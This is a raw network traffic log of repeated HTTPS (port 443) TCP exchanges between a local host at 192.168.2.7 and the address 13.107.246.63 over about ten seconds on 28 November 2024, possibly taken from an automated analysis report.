Nov 28, 2024 10:06:15.261605978 CET	49935	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.261646032 CET	443	49935	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.262293100 CET	49935	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.262301922 CET	443	49935	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.612567902 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.615813017 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.615883112 CET	49934	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.615917921 CET	49934	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.615933895 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.615946054 CET	49934	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.615951061 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.620017052 CET	49939	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.620042086 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.620119095 CET	49939	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.620249033 CET	49939	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.620261908 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.705883026 CET	443	49935	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.709007978 CET	443	49935	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.709076881 CET	49935	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.709125042 CET	49935	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.709148884 CET	443	49935	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.709157944 CET	49935	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.709165096 CET	443	49935	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.712002039 CET	49940	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.712028980 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.712088108 CET	49940	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.712253094 CET	49940	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.712265968 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.809345961 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.851851940 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.862854958 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.862867117 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.863332033 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.863338947 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.244149923 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.247742891 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.247782946 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.247797966 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.247833014 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.249313116 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.249313116 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.249337912 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.249347925 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.263921022 CET	49941	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.263942957 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.263989925 CET	49941	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.266005039 CET	49941	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.266016960 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.311224937 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.317971945 CET	49937	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.317982912 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.318407059 CET	49937	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.318412066 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.765059948 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.768107891 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.768183947 CET	49937	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.774000883 CET	49937	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.774019957 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.774050951 CET	49937	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.774055958 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.777462959 CET	49942	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.777515888 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.777575970 CET	49942	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.802248001 CET	49942	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.802273989 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.981635094 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.985008001 CET	49938	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.985024929 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:16.985450029 CET	49938	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:16.985455036 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.400446892 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.400882959 CET	49939	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.400904894 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.401339054 CET	49939	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.401348114 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.435879946 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.439146042 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.440608978 CET	49938	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.440829992 CET	49938	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.440830946 CET	49938	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.440848112 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.440859079 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.443407059 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.443454027 CET	443	49943	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.443622112 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.443824053 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.443839073 CET	443	49943	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.563452959 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.565045118 CET	49940	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.565078974 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.565519094 CET	49940	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.565526009 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.849452972 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.852472067 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.852554083 CET	49939	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.852613926 CET	49939	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.852631092 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.852643967 CET	49939	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.852648973 CET	443	49939	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.855869055 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.855917931 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:17.856015921 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.856178045 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:17.856192112 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.018187046 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.021435976 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.024605989 CET	49940	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.024646044 CET	49940	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.024665117 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.024701118 CET	49940	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.024707079 CET	443	49940	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.027340889 CET	49945	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.027373075 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.027453899 CET	49945	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.027573109 CET	49945	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.027585983 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.046698093 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.047194004 CET	49941	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.047224045 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.047683954 CET	49941	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.047688961 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.492288113 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.499186039 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.499294996 CET	49941	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.499346018 CET	49941	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.499346018 CET	49941	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.499366999 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.499378920 CET	443	49941	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.502113104 CET	49946	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.502181053 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.502257109 CET	49946	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.502441883 CET	49946	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.502455950 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.609636068 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.610095978 CET	49942	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.610125065 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:18.610552073 CET	49942	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:18.610558033 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.045730114 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.048943996 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.049037933 CET	49942	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.049130917 CET	49942	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.049150944 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.049161911 CET	49942	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.049169064 CET	443	49942	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.051870108 CET	49947	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.051918983 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.052000999 CET	49947	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.052139997 CET	49947	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.052159071 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.255335093 CET	443	49943	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.255814075 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.255850077 CET	443	49943	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.256273031 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.256279945 CET	443	49943	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.700045109 CET	443	49943	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.701765060 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.702270985 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.702307940 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.702759027 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.702771902 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.703083038 CET	443	49943	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.703265905 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.703267097 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.703267097 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.705910921 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.705964088 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.706053972 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.706223011 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.706237078 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.807363033 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.807909966 CET	49945	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.807938099 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:19.808356047 CET	49945	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:19.808365107 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.008126974 CET	49943	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.008219004 CET	443	49943	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.158067942 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.158850908 CET	49946	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.158886909 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.159327030 CET	49946	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.159332991 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.254107952 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.254136086 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.254187107 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.254204988 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.254251957 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.254472017 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.254492044 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.254504919 CET	49944	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.254512072 CET	443	49944	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.257443905 CET	49949	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.257477999 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.257635117 CET	49949	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.257790089 CET	49949	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.257802963 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.269896030 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.269953012 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.270023108 CET	49945	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.270211935 CET	49945	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.270235062 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.270250082 CET	49945	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.270257950 CET	443	49945	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.273155928 CET	49950	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.273180962 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.273243904 CET	49950	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.273427963 CET	49950	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.273442030 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.602083921 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.605217934 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.605259895 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.605463028 CET	49946	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.605545044 CET	49946	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.605564117 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.605580091 CET	49946	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.605585098 CET	443	49946	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.608787060 CET	49951	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.608824015 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.608891010 CET	49951	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.609210968 CET	49951	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.609226942 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.975682020 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.979799986 CET	49947	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.979839087 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:20.980261087 CET	49947	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:20.980272055 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.428515911 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.432890892 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.433022976 CET	49947	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.433100939 CET	49947	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.433100939 CET	49947	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.433129072 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.433141947 CET	443	49947	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.436017036 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.436074018 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.436152935 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.436280966 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.436296940 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.551103115 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.551623106 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.551645994 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.552054882 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.552062035 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.995910883 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.999536991 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.999592066 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.999598026 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.999630928 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.999694109 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.999713898 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:21.999725103 CET	49948	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:21.999731064 CET	443	49948	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.002492905 CET	49953	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.002528906 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.002597094 CET	49953	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.002732992 CET	49953	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.002747059 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.121845007 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.122406960 CET	49950	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.122430086 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.122900963 CET	49950	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.122905970 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.389607906 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.390325069 CET	49951	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.390356064 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.390805960 CET	49951	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.390811920 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.581623077 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.584739923 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.584826946 CET	49950	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.584878922 CET	49950	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.584897995 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.584908962 CET	49950	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.584913969 CET	443	49950	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.592500925 CET	49954	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.592561960 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.592734098 CET	49954	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.593055010 CET	49954	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.593066931 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.833549023 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.837045908 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.837114096 CET	49951	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.865329981 CET	49951	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.865329981 CET	49951	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:22.865355968 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:22.865365982 CET	443	49951	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.003417969 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.003467083 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.003546000 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.007383108 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.007395029 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.154180050 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.155988932 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.156002045 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.156450033 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.156466007 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.589023113 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.593111038 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.593178988 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.593240023 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.593240023 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.593337059 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.593337059 CET	49952	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.593357086 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.593365908 CET	443	49952	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.595833063 CET	49956	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.595890999 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.595961094 CET	49956	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.596115112 CET	49956	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.596127987 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.850996017 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.851824999 CET	49953	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.851855040 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:23.852288008 CET	49953	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:23.852296114 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.306252956 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.309345961 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.309415102 CET	49953	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.309449911 CET	49953	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.309465885 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.309474945 CET	49953	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.309479952 CET	443	49953	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.312176943 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.312254906 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.312328100 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.312462091 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.312501907 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.373883009 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.374353886 CET	49954	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.374375105 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.374809980 CET	49954	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.374819040 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.787761927 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.788259029 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.788279057 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.788732052 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.788737059 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.818968058 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.819026947 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.819128990 CET	49954	443	192.168.2.7	13.107.246.63
